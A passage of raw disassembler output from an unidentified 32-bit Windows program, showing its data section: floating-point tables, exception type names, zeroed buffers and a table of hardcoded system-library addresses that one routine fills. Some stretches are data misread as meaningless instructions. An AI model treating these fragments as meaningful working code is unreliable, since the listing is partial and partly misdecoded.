dd offset aApr ; "Apr"
dd offset aMay ; "May"
; ---------------------------------------------------------------------------
mov ah, 0DFh
inc ebx
add [eax-53FFBC21h], dh
loc_454D85: ; CODE XREF: _2:00454DA4j
fild word ptr [ebx+0]
test al, 0DFh
inc ebx
add [edi+ebx*8-205FFFBDh], ah
inc ebx
add [edi+ebx*8-206BFFBDh], bl
inc ebx
add [eax-7FFFBC21h], cl
fild word ptr [ebx+0]
js short loc_454D85
inc ebx
add [eax+700043DFh], bh
fild word ptr [ebx+0]
push 600043DFh
fild word ptr [ebx+0]
push esp
fild word ptr [ebx+0]
dec esp
fild word ptr [ebx+0]
inc eax
fild word ptr [ebx+0]
xor al, 0DFh
inc ebx
add [eax], dh
fild word ptr [ebx+0]
sub al, 0DFh
inc ebx
add [edi+ebx*8], ah
inc ebx
add [eax], dl
fild word ptr [ebx+0]
or bh, bl
inc ebx
; ---------------------------------------------------------------------------
db 0
align 10h
dword_454DE0 dd 2Eh, 0 ; DATA XREF: sub_4342F0+EEo
; _2:off_454DE8o
off_454DE8 dd offset dword_454DE0 ; DATA XREF: sub_434620+D4w
; sub_434620+F6o ...
off_454DEC dd offset dword_4F3684 ; DATA XREF: sub_434620+E2w
off_454DF0 dd offset dword_4F3684 ; DATA XREF: sub_434620+F1w
dd offset dword_4F3684
dd offset dword_4F3684
dd offset dword_4F3684
dd offset dword_4F3684
dd offset dword_4F3684
dd offset dword_4F3684
dd offset dword_4F3684
dd 2 dup(7F7F7F7Fh)
off_454E18 dd offset off_454DE8 ; DATA XREF: sub_4342F0:loc_4343D9r
; sub_4342F0+F8r ...
align 10h
dword_454E20 dd 2 dup(0) ; DATA XREF: sub_4395B0+6o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_454F80 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_4395B0+2Ao
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_4550E0 dd offset off_43E17C ; DATA XREF: _1:0043E2E4o _1:0043E3E4o
align 8
a_?avexception@ db '.?AVexception@@',0
off_4550F8 dd offset off_43E17C ; DATA XREF: _1:off_43E1D0o
; _1:0043E214o ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_455118 dd offset off_43E17C ; DATA XREF: _1:off_43E220o
; _1:0043E264o ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_455138 dd offset off_43E17C ; DATA XREF: _1:off_43E270o
; _1:0043E2B4o ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_455158 dd offset off_43E17C ; DATA XREF: _1:off_43E2F0o
; _1:0043E32Co
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_432EE0
align 8
dword_455178 dd 0 ; DATA XREF: sub_401300+C8o
dword_45517C dd 0 ; DATA XREF: sub_401300+62o
dword_455180 dd 0 ; DATA XREF: sub_401404+37Do
; sub_401C87+AC7o ...
dd 5 dup(0)
dword_455198 dd 0 ; DATA XREF: sub_401C87+B23r
; sub_415944+60r
dd 12Dh dup(0)
db 3 dup(0)
byte_455653 db 0 ; DATA XREF: _2:00454670o
dd 3Fh dup(0)
db 3 dup(0)
byte_455753 db 0 ; DATA XREF: _2:00454678o
dd 16Bh dup(0)
dword_455D00 dd 0 ; DATA XREF: sub_401C87+5F1Br
; sub_401C87+601Dr ...
dd 7Fh dup(0)
dword_455F00 dd 0 ; DATA XREF: sub_40B691+4Cw
; sub_40B7CC+3Aw ...
dword_455F04 dd 0 ; DATA XREF: sub_40B691+3Ew
; sub_40B7CC+40w ...
dword_455F08 dd 0 ; DATA XREF: sub_40B691+45w
; sub_40B7CC+34r ...
dword_455F0C dd 0 ; DATA XREF: sub_401300+Cr
; sub_4019A5+B9w ...
dword_455F10 dd 0 ; DATA XREF: sub_40B7CC+6Fr
; sub_40B9A7+2Aw ...
dword_455F14 dd 0 ; DATA XREF: sub_401404+3C9w
; sub_401404+441w ...
byte_455F18 db 0 ; DATA XREF: sub_4019A5+91o
; sub_401C87+5E63r ...
align 4
dd 549h dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: _2:off_44F17Co
dd 22EFh dup(0)
dword_460000 dd 14D1h dup(0) ; DATA XREF: _5:00500B4Co
db 0
byte_465345 db 3 dup(0) ; DATA XREF: _2:004549B4o
dd 3FFFh dup(0)
db 0
byte_475345 db 3 dup(0) ; DATA XREF: _2:004547D0o
dd 7FBEh dup(0)
db 3 dup(0)
byte_495243 db 0 ; DATA XREF: _2:00454830o
dd 8000h dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: _2:off_44F310o
dd 3CBEh dup(0)
db 2 dup(0)
word_4C4542 dw 0 ; DATA XREF: _2:004546FCo
dd 0BFh dup(0)
db 3 dup(0)
byte_4C4843 db 0 ; DATA XREF: _2:004549E8o
dd 1BFh dup(0)
db 3 dup(0)
byte_4C4F43 db 0 ; DATA XREF: _2:00454938o
dd 0C0h dup(0)
db 2 dup(0)
word_4C5246 dw 0 ; DATA XREF: _2:00454854o
dd 3Fh dup(0)
db 0
byte_4C5345 db 3 dup(0) ; DATA XREF: _2:004549E0o
db 0
byte_4C5349 db 3 dup(0) ; DATA XREF: _2:00454644o _2:0045464Co
dd 3B81h dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: _2:off_44EA20o
dd 37Ch dup(0)
dword_4D4F44 dd 100h dup(0) ; DATA XREF: _2:004548E0o
db 0
byte_4D5345 db 3 dup(0) ; DATA XREF: _2:004546C8o
dd 3Fh dup(0)
db 3 dup(0)
byte_4D5447 db 0 ; DATA XREF: _2:004547D8o
dd 362Eh dup(0)
dword_4E2D00 dd 0D25Ah ; DATA XREF: sub_401300+FDw
; sub_40B691+13o ...
dword_4E2D04 dd 1Ch ; DATA XREF: sub_401404+3Dw
; sub_401C87:loc_40465Fr ...
dword_4E2D08 dd 0 ; DATA XREF: sub_401404:loc_4018CDo
dword_4E2D0C dd 20h dup(0) ; DATA XREF: sub_401404+480o
; sub_401404+50Do ...
dword_4E2D8C dd 10h dup(0) ; DATA XREF: sub_401404+496o
dword_4E2DCC dd 24h dup(0) ; DATA XREF: sub_401404+4ADo
dword_4E2E5C dd 0 ; DATA XREF: sub_401404+4A1w
; sub_401404+524w ...
dword_4E2E60 dd 0 ; DATA XREF: sub_401404+4BDw
dd 2 dup(0)
byte_4E2E6C db 0 ; DATA XREF: sub_401B0B+28r
; sub_401B0B+30o
byte_4E2E6D db 3 dup(0) ; DATA XREF: _2:0043F810o
dword_4E2E70 dd 0 ; DATA XREF: sub_401404+4CEw
; sub_401404+4E2r ...
dword_4E2E74 dd 0 ; DATA XREF: sub_401404+485w
; sub_401C87+86Fr
byte_4E2E78 db 0 ; DATA XREF: sub_401404+23Eo
byte_4E2E79 db 0 ; DATA XREF: sub_401C87+1E9Co
byte_4E2E7A db 0 ; DATA XREF: sub_401C87+22C8o
byte_4E2E7B db 0 ; DATA XREF: sub_401C87+40A8o
byte_4E2E7C db 0 ; DATA XREF: sub_401C87+41F6o
byte_4E2E7D db 0 ; DATA XREF: sub_401C87+447Co
word_4E2E7E dw 0 ; DATA XREF: sub_401C87+5C88o
dword_4E2E80 dd 0 ; DATA XREF: sub_401C87+7E18o
dword_4E2E84 dd 77C72C6Bh ; DATA XREF: sub_409D10+4A7w
; sub_409D10+4EBr ...
dword_4E2E88 dd 77EBA994h ; DATA XREF: sub_409D10+65w
; sub_41A334+163r
dword_4E2E8C dd 7622A3F4h ; DATA XREF: sub_409D10+80Bw
; sub_409D10+880r ...
dword_4E2E90 dd 71C45229h ; DATA XREF: sub_409D10+9D8w
; sub_409D10+A43r ...
dword_4E2E94 dd 71C24870h ; DATA XREF: sub_409D10+98Aw
; sub_409D10+A13r ...
dword_4E2E98 dd 77C71BB0h ; DATA XREF: sub_409D10+48Dw
; sub_409D10+4DBr ...
dword_4E2E9C dd 77D4808Bh ; DATA XREF: sub_409D10+213w
; sub_409D10+234r ...
dword_4E2EA0 dd 71C4502Ch ; DATA XREF: sub_409D10+9CBw
; sub_409D10+A3Br ...
dword_4E2EA4 dd 77DE801Bh ; DATA XREF: sub_409D10+372w
; sub_409D10+3C7r ...
dword_4E2EA8 dd 77DDACABh ; DATA XREF: sub_409D10+40Fw
; sub_41B6C1+11Er
dword_4E2EAC dd 77DE8075h ; DATA XREF: sub_409D10+37Fw
; sub_409D10+3CFr ...
dword_4E2EB0 dd 77DD7496h ; DATA XREF: sub_409D10+3C0w
; sub_41992C+ADr
dword_4E2EB4 dd 71AB1B7Bh ; DATA XREF: sub_409D10+55Aw
; sub_40FA20+115r ...
dword_4E2EB8 dd 77E686CCh ; DATA XREF: sub_409D10+72w
; sub_409D10+D2r ...
dword_4E2EBC dd 71C2498Bh ; DATA XREF: sub_409D10+97Dw
; sub_409D10+A06r ...
dword_4E2EC0 dd 77DDAB2Fh ; DATA XREF: sub_409D10+3A6w
; sub_409D10+3E7r ...
dword_4E2EC4 dd 7620E8C3h ; DATA XREF: sub_409D10+859w
; sub_409D10+8ACr ...
dword_4E2EC8 dd 77DD23D7h ; DATA XREF: sub_409D10+2A5w
; sub_409D10+2F0r ...
dword_4E2ECC dd 76214750h ; DATA XREF: sub_409D10+84Cw
; sub_409D10+8A4r ...
dword_4E2ED0 dd 77E6D75Bh ; DATA XREF: sub_409D10+B3w
dword_4E2ED4 dd 7620BD61h ; DATA XREF: sub_409D10+866w
; sub_409D10+8B4r ...
dword_4E2ED8 dd 71AB60C9h ; DATA XREF: sub_409D10+54Dw
; sub_409D10+6D0r ...
dword_4E2EDC dd 77EBA6E9h ; DATA XREF: sub_409D10+58w
; sub_409D10+CAr ...
dword_4E2EE0 dd 76D62A58h ; DATA XREF: sub_409D10+934w
; sub_413B2B+11Ar
dword_4E2EE4 dd 76F36EAAh ; DATA XREF: sub_401C87:loc_40408Dr
; sub_409D10+A95w ...
dword_4E2EE8 dd 77E802FCh ; DATA XREF: sub_409D10+A6w
; sub_409D10+F2r
dword_4E2EEC dd 77C75455h ; DATA XREF: sub_409D10+480w
; sub_409D10+4D3r ...
dword_4E2EF0 dd 71AB12A7h ; DATA XREF: sub_409D10+5F6w
; sub_40C52D+20r ...
dword_4E2EF4 dd 71C574FAh ; DATA XREF: sub_409D10+9BEw
; sub_409D10+A33r
dword_4E2EF8 dd 71AB1746h ; DATA XREF: sub_409D10+5E9w
; sub_409D10+754r ...
dword_4E2EFC dd 71C21CA3h ; DATA XREF: sub_409D10+A0Cw
dword_4E2F00 dd 71B28D0Dh ; DATA XREF: sub_409D10+B50w
; sub_40B8D3+16o ...
dword_4E2F04 dd 762211EFh ; DATA XREF: sub_409D10+7FEw
; sub_409D10+86Dr ...
dword_4E2F08 dd 77D902E3h ; DATA XREF: sub_409D10+1B3w
; sub_418E8C+15r
dword_4E2F0C dd 71C2FA86h ; DATA XREF: sub_409D10+997w
; sub_409D10+A1Br ...
dword_4E2F10 dd 77DE1291h ; DATA XREF: sub_409D10+38Cw
; sub_409D10+3D7r ...
dword_4E2F14 dd 77E2C1B3h ; DATA XREF: sub_409D10+399w
; sub_409D10+3DFr ...
dword_4E2F18 dd 73B81E3Bh ; DATA XREF: sub_409D10+C85w
; sub_409D10+C8Cr ...
dword_4E2F1C dd 71ABF628h ; DATA XREF: sub_409D10+6ACw
; sub_4110D4+D0r
dword_4E2F20 dd 71AB1836h ; DATA XREF: sub_401300+1Dr
; sub_401300+23r ...
dword_4E2F24 dd 77C72889h ; DATA XREF: sub_409D10+4B4w
; sub_415D1B+207r
dword_4E2F28 dd 71C453F8h ; DATA XREF: sub_409D10+9E5w
; sub_409D10+A4Br ...
dword_4E2F2C dd 77DD5C55h ; DATA XREF: sub_401000+55r
; sub_409D10+2B2w ...
dword_4E2F30 dd 77E96645h ; DATA XREF: sub_409D10+7Fw
; sub_409D10+DAr ...
dword_4E2F34 dd 77428B97h ; DATA XREF: sub_401C87+59CBr
; sub_401C87+7A73r ...
dword_4E2F38 dd 71AB41DAh ; DATA XREF: sub_401404+8Cr
; sub_401C87+519Dr ...
dword_4E2F3C dd 762059A3h ; DATA XREF: sub_409D10+825w
; sub_409D10+890r ...
dword_4E2F40 dd 71C4A1B4h ; DATA XREF: sub_409D10+9A4w
; sub_409D10+A23r
dword_4E2F44 dd 1F7CD214h ; DATA XREF: sub_409D10+C0Ew
; sub_409D10+C3Fr
dword_4E2F48 dd 77E09134h ; DATA XREF: sub_409D10+2CCw
; sub_419036+47r
dword_4E2F4C dd 77D4456Bh ; DATA XREF: sub_409D10+22Dw
; sub_4125C5+40r ...
dword_4E2F50 dd 76D629BBh ; DATA XREF: sub_409D10+91Aw
; sub_409D10+92Er ...
dword_4E2F54 dd 1F7B9D96h ; DATA XREF: sub_409D10+C28w
dword_4E2F58 dd 77E09070h ; DATA XREF: sub_409D10+2D9w
; sub_419036+4Fr
dword_4E2F5C dd 71AB1740h ; DATA XREF: sub_409D10+574w
; sub_409D10+6E8r ...
dword_4E2F60 dd 7620AFB6h ; DATA XREF: sub_409D10+83Fw
; sub_409D10+873r
dword_4E2F64 dd 77D5C13Ah ; DATA XREF: sub_409D10+220w
; sub_409D10+23Cr ...
dword_4E2F68 dd 77D45B19h ; DATA XREF: sub_409D10+172w
; sub_409D10+1C2r ...
dword_4E2F6C dd 71AB157Eh ; DATA XREF: sub_401C87+1DDDr
; sub_401C87+5B85r ...
dword_4E2F70 dd 71AB3E5Dh ; DATA XREF: sub_4019A5+C4r
; sub_401C87+5227r ...
dword_4E2F74 dd 71AB14DCh ; DATA XREF: sub_409D10+567w
; sub_409D10+6DCr ...
dword_4E2F78 dd 0CC0004h ; DATA XREF: sub_409D10+8DBw
; sub_409D10:loc_40A609w ...
dword_4E2F7C dd 77DD590Bh ; DATA XREF: sub_401000+2Ar
; sub_409D10+28Bw ...
dword_4E2F80 dd 71ABD755h ; DATA XREF: sub_401C87+79EFr
; sub_409D10+69Fw ...
dword_4E2F84 dd 77DF7311h ; DATA XREF: sub_409D10+32Dw
; sub_409D10+341r ...
dword_4E2F88 dd 77DDA2AFh ; DATA XREF: sub_409D10+3B3w
; sub_409D10+3EFr ...
dword_4E2F8C dd 1F7CD927h ; DATA XREF: sub_409D10+C01w
; sub_409D10+C37r
dword_4E2F90 dd 76206853h ; DATA XREF: sub_409D10+818w
; sub_409D10+888r ...
dword_4E2F94 dd 77D4932Ch ; DATA XREF: sub_409D10+206w
; sub_409D10+227r ...
dword_4E2F98 dd 77D5E310h ; DATA XREF: sub_409D10+18Cw
; sub_409D10+1D2r ...
dword_4E2F9C dd 76206B7Fh ; DATA XREF: sub_409D10+832w
; sub_409D10+898r ...
dword_4E2FA0 dd 71AB1444h ; DATA XREF: sub_409D10+624w
; sub_409D10+774r ...
dword_4E2FA4 dd 77DD189Ah ; DATA XREF: sub_401000+5Er
; sub_409D10+2BFw ...
dword_4E2FA8 dd 71AB3F8Dh ; DATA XREF: sub_409D10+66Bw
; sub_409D10+79Cr ...
dword_4E2FAC dd 77DD5D20h ; DATA XREF: sub_409D10+320w
; sub_409D10+334r ...
dword_4E2FB0 dd 71AB1890h ; DATA XREF: sub_409D10+644w
; sub_409D10+784r ...
dword_4E2FB4 dd 77C76B34h ; DATA XREF: sub_409D10+44Cw
; sub_409D10+4AEr ...
dword_4E2FB8 dd 77D5E38Ch ; DATA XREF: sub_409D10+199w
; sub_409D10+1DAr ...
dword_4E2FBC dd 77DDA20Bh ; DATA XREF: sub_409D10+365w
; sub_409D10+3BAr ...
dword_4E2FC0 dd 76F36EEBh ; DATA XREF: sub_409D10+AA2w
dword_4E2FC4 dd 71AB12A7h ; DATA XREF: sub_409D10+5DCw
; sub_409D10+748r ...
dword_4E2FC8 dd 71AB1746h ; DATA XREF: sub_4019A5+3Er
; sub_401C87+51D9r ...
dword_4E2FCC dd 77EBA595h ; DATA XREF: sub_409D10+4Bw
; sub_409D10+C2r ...
dword_4E2FD0 dd 77C7531Dh ; DATA XREF: sub_409D10+473w
; sub_409D10+4CBr ...
dword_4E2FD4 dd 77D4BDCAh ; DATA XREF: sub_409D10+165w
; sub_409D10+1BAr ...
dword_4E2FD8 dd 71C3516Ah ; DATA XREF: sub_409D10+9FFw
; sub_409D10+A5Br ...
dword_4E2FDC dd 71AB32CAh ; DATA XREF: sub_409D10+685w
; sub_409D10+7ACr ...
dword_4E2FE0 dd 71AB5690h ; DATA XREF: sub_401B0B+D1r
; sub_401C87+523Cr ...
dword_4E2FE4 dd 1F7CB8F8h ; DATA XREF: sub_409D10+C1Bw
; sub_409D10+C47r
dword_4E2FE8 dd 77EBB1E7h ; DATA XREF: sub_409D10+3Ew
; sub_409D10+BAr ...
dword_4E2FEC dd 77DD59F0h ; DATA XREF: sub_401000+49r
; sub_409D10+298w ...
dword_4E2FF0 dd 71AB5DE2h ; DATA XREF: sub_409D10+651w
; sub_409D10+78Cr ...
dword_4E2FF4 dd 71AB3ECEh ; DATA XREF: sub_409D10+637w
; sub_409D10+77Cr ...
dword_4E2FF8 dd 73B81B0Fh ; DATA XREF: sub_401C87+7411r
; sub_409D10+C92w
dword_4E2FFC dd 76204E4Dh ; DATA XREF: sub_409D10+879w
; sub_416D68+4C9r ...
dword_4E3000 dd 0 ; DATA XREF: sub_409D10+112w
dword_4E3004 dd 1F7D886Ah ; DATA XREF: sub_409D10+BE7w
; sub_409D10+C22r
dword_4E3008 dd 71AB12F8h ; DATA XREF: sub_401C87+2FE8r
; sub_401C87+604Er ...
dword_4E300C dd 77C76551h ; DATA XREF: sub_409D10+459w
; sub_409D10+4BBr ...
dword_4E3010 dd 77C729E2h ; DATA XREF: sub_409D10+49Aw
; sub_409D10+4E3r ...
dword_4E3014 dd 77C7212Fh ; DATA XREF: sub_409D10+466w
; sub_409D10+4C3r ...
dword_4E3018 dd 71AB1AF4h ; DATA XREF: sub_401B0B+89r
; sub_401C87+5259r ...
dword_4E301C dd 77D5E303h ; DATA XREF: sub_409D10+1A6w
; sub_409D10+1E2r ...
dword_4E3020 dd 71C4576Ch ; DATA XREF: sub_409D10+9F2w
; sub_409D10+A53r ...
dword_4E3024 dd 77D4702Fh ; DATA XREF: sub_409D10+158w
; sub_409D10+1ADr ...
dword_4E3028 dd 77E6C0E3h ; DATA XREF: sub_409D10+8Cw
; sub_409D10+E2r ...
dword_4E302C dd 71AB1ED3h ; DATA XREF: sub_409D10+610w
; sub_409D10+764r ...
dword_4E3030 dd 71B2A381h ; DATA XREF: sub_409D10+B43w
; sub_409D10+B5Fr
dword_4E3034 dd 77DDA595h ; DATA XREF: sub_409D10+33Aw
; sub_41A2C9+55r
dword_4E3038 dd 77DD22EAh ; DATA XREF: sub_409D10+27Ew
; sub_409D10+2D3r ...
dword_4E303C dd 773F97B0h ; DATA XREF: sub_409D10+BAAw
dword_4E3040 dd 76D67A29h ; DATA XREF: sub_409D10+AECw
; sub_40ADC9+D4r
dword_4E3044 dd 76D674FAh ; DATA XREF: sub_409D10+ADFw
; sub_409D10+AE6r ...
dword_4E3048 dd 71AB3C22h ; DATA XREF: sub_4019A5+A6r
; sub_401C87+51B8r ...
dword_4E304C dd 71AB2BBFh ; DATA XREF: sub_401C87+51AAr
; sub_401C87+7A13r ...
dword_4E3050 dd 1F7BA3A9h ; DATA XREF: sub_409D10+BF4w
; sub_409D10+C2Fr
dword_4E3054 dd 71AB401Ch ; DATA XREF: sub_401C87+1E03r
; sub_401C87+5BABr ...
dword_4E3058 dd 71C214BAh ; DATA XREF: sub_409D10+9B1w
; sub_409D10+A2Br ...
dword_4E305C dd 71AB868Dh ; DATA XREF: sub_409D10+65Ew
; sub_409D10+794r ...
dword_4E3060 dd 71AB1A6Dh ; DATA XREF: sub_401300+12r
; sub_4019A5+D0r ...
dword_4E3064 dd 71AB155Ah ; DATA XREF: sub_409D10+59Bw
; sub_409D10+70Cr ...
dword_4E3068 dd 71B22C25h ; DATA XREF: sub_409D10+B36w
; sub_409D10+B57r
dword_4E306C dd 71AB5A01h ; DATA XREF: sub_409D10+540w
; sub_409D10+6C4r ...
dword_4E3070 dd 71B2ACCBh ; DATA XREF: sub_409D10+B29w
; sub_409D10+B4Ar
dword_4E3074 dd 77E78C17h ; DATA XREF: sub_401404+52r
; sub_409D10+31w ...
dword_4E3078 dd 77D49A11h ; DATA XREF: sub_409D10+17Fw
; sub_409D10+1CAr ...
dword_4E307C dd 76D62A37h ; DATA XREF: sub_409D10+927w
; sub_409D10+93Br ...
off_4E3080 dd offset sub_50A1C7 ; DATA XREF: sub_409D10+99w
; sub_409D10+EAr ...
dword_4E3084 dd 0 ; DATA XREF: sub_409D10:loc_409E0Ew
; sub_409D10+12Bw ...
dword_4E3088 dd 0 ; DATA XREF: sub_409D10+126w
; sub_40A9CC+1Cr
dword_4E308C dd 0 ; DATA XREF: sub_409D10:loc_409EFEw
; sub_409D10:loc_409F65w ...
dword_4E3090 dd 0 ; DATA XREF: sub_409D10+250w
; sub_40A9CC+50r
dword_4E3094 dd 0 ; DATA XREF: sub_401404+337r
; sub_401C87+4547r ...
dword_4E3098 dd 0 ; DATA XREF: sub_409D10+41Ew
; sub_40A9CC+84r
dword_4E309C dd 0 ; DATA XREF: sub_409D10:loc_40A214w
; sub_40A9CC:loc_40AA7Cr
dword_4E30A0 dd 0 ; DATA XREF: sub_409D10+4FFw
; sub_40A9CC+B8r
dword_4E30A4 dd 0 ; DATA XREF: sub_409D10:loc_40A4E5w
; sub_40A9CC:loc_40AAB0r
dword_4E30A8 dd 0 ; DATA XREF: sub_409D10+7D0w
; sub_40A9CC+ECr
dword_4E30AC dd 0 ; DATA XREF: sub_409D10:loc_40A5D0w
; sub_409D10+8EFw ...
dword_4E30B0 dd 0 ; DATA XREF: sub_409D10+8EAw
; sub_40A9CC+120r
dword_4E30B4 dd 0 ; DATA XREF: sub_401C87:loc_407172r
; sub_409D10:loc_40A664w ...
dword_4E30B8 dd 0 ; DATA XREF: sub_409D10+94Fw
; sub_40A9CC+154r
dword_4E30BC dd 0 ; DATA XREF: sub_401C87+454Fr
; sub_409D10:loc_40A780w ...
dword_4E30C0 dd 0 ; DATA XREF: sub_409D10+A6Bw
; sub_40A9CC+188r
dword_4E30C4 dd 0 ; DATA XREF: sub_409D10:loc_40A7CAw
; sub_40A9CC:loc_40AB80r
dword_4E30C8 dd 0 ; DATA XREF: sub_409D10+AB5w
; sub_40A9CC+1BCr
dword_4E30CC dd 0 ; DATA XREF: sub_409D10:loc_40A814w
; sub_40A9CC:loc_40ABB4r
dword_4E30D0 dd 0 ; DATA XREF: sub_409D10+AFFw
; sub_40A9CC+1F0r
dword_4E30D4 dd 0 ; DATA XREF: sub_409D10:loc_40A888w
; sub_40A9CC:loc_40ABE8r
dword_4E30D8 dd 0 ; DATA XREF: sub_409D10+B73w
; sub_40A9CC+224r
dword_4E30DC dd 0 ; DATA XREF: sub_409D10:loc_40A8D2w
; sub_40A9CC:loc_40AC1Cr
dword_4E30E0 dd 0 ; DATA XREF: sub_409D10+BBDw
; sub_40A9CC+258r
dword_4E30E4 dd 0 ; DATA XREF: sub_409D10:loc_40A970w
; sub_40A9CC:loc_40AC50r
dword_4E30E8 dd 0 ; DATA XREF: sub_409D10+C5Bw
; sub_40A9CC+28Cr
dword_4E30EC dd 0 ; DATA XREF: sub_409D10:loc_40A9BAw
; sub_40A9CC:loc_40AC84r
dword_4E30F0 dd 0 ; DATA XREF: sub_409D10+CA5w
; sub_40A9CC+2C0r
dword_4E30F4 dd 4 dup(0) ; DATA XREF: sub_40AEAD+32o
dword_4E3104 dd 0 ; DATA XREF: _0:0040AD08o
byte_4E3108 db 0 ; DATA XREF: _0:0040B1EFo
byte_4E3109 db 0 ; DATA XREF: sub_40B2E7+33o
word_4E310A dw 0 ; DATA XREF: sub_40B2E7+63o
byte_4E310C db 0 ; DATA XREF: sub_40B590+64r
; sub_40B590+92w
align 10h
dword_4E3110 dd 0 ; DATA XREF: sub_40BFD2+18r
; sub_40C575+92w ...
dword_4E3114 dd 0 ; DATA XREF: sub_40C87D+1F7r
; sub_40CA91+D9w ...
dd 40Ah dup(0)
db 3 dup(0)
byte_4E4143 db 0 ; DATA XREF: _2:004547ACo
dd 2 dup(0)
dword_4E414C dd 0 ; DATA XREF: _2:off_4516BCo
dword_4E4150 dd 1FDh dup(0) ; DATA XREF: _2:00454888o
db 2 dup(0)
word_4E4946 dw 0 ; DATA XREF: _2:004545ECo _2:004545F4o
dd 1F2h dup(0)
dword_4E5110 dd 6 dup(0) ; DATA XREF: sub_40C87D+C0o
; sub_40C87D+129o ...
dword_4E5128 dd 0 ; DATA XREF: sub_40C049+2B7w
; sub_40C049+34Do
dword_4E512C dd 0 ; DATA XREF: sub_40C049+343w
; sub_40C049+35Fr
dword_4E5130 dd 0 ; DATA XREF: sub_40C049+2C2w
dword_4E5134 dd 0 ; DATA XREF: sub_40C049+2ACw
; sub_40C049+320r
dword_4E5138 dd 20h dup(0) ; DATA XREF: sub_40C049+2D5o
; sub_40C049+307o
dword_4E51B8 dd 0 ; DATA XREF: sub_40C049+2C8w
dword_4E51BC dd 0 ; DATA XREF: sub_40C049+2DFw
; sub_40C049+311w
dword_4E51C0 dd 0 ; DATA XREF: sub_40C049:loc_40C4E2r
align 8
dword_4E51C8 dd 0 ; DATA XREF: sub_40C049+82w
; sub_40C049+FEo
dword_4E51CC dd 41h dup(0) ; DATA XREF: sub_40C049+41o
dword_4E52D0 dd 1Dh dup(0) ; DATA XREF: sub_40C049+69o
db 0
byte_4E5345 db 3 dup(0) ; DATA XREF: _2:00454778o
dd 23h dup(0)
dword_4E53D4 dd 0 ; DATA XREF: sub_40C049+F4w
; sub_40C049+110r
dword_4E53D8 dd 0 ; DATA XREF: sub_40C049+52w
dword_4E53DC dd 0 ; DATA XREF: sub_40C049+4Dw
; sub_40C049+D1r
dword_4E53E0 dd 20h dup(0) ; DATA XREF: sub_40C049+9Ao
; sub_40C049+B7o
dword_4E5460 dd 0 ; DATA XREF: sub_40C049+8Fw
dword_4E5464 dd 0 ; DATA XREF: sub_40C049+A4w
; sub_40C049+C1w
dword_4E5468 dd 0 ; DATA XREF: sub_40C049:loc_40C214r
align 10h
dword_4E5470 dd 0 ; DATA XREF: sub_40C049+194w
; sub_40C049+226o
dword_4E5474 dd 41h dup(0) ; DATA XREF: sub_40C049+156o
dword_4E5578 dd 41h dup(0) ; DATA XREF: sub_40C049+17Bo
dword_4E567C dd 0 ; DATA XREF: sub_40C049+21Cw
; sub_40C049+238r
dword_4E5680 dd 0 ; DATA XREF: sub_40C049+169w
dword_4E5684 dd 0 ; DATA XREF: sub_40C049+164w
; sub_40C049+1F9r
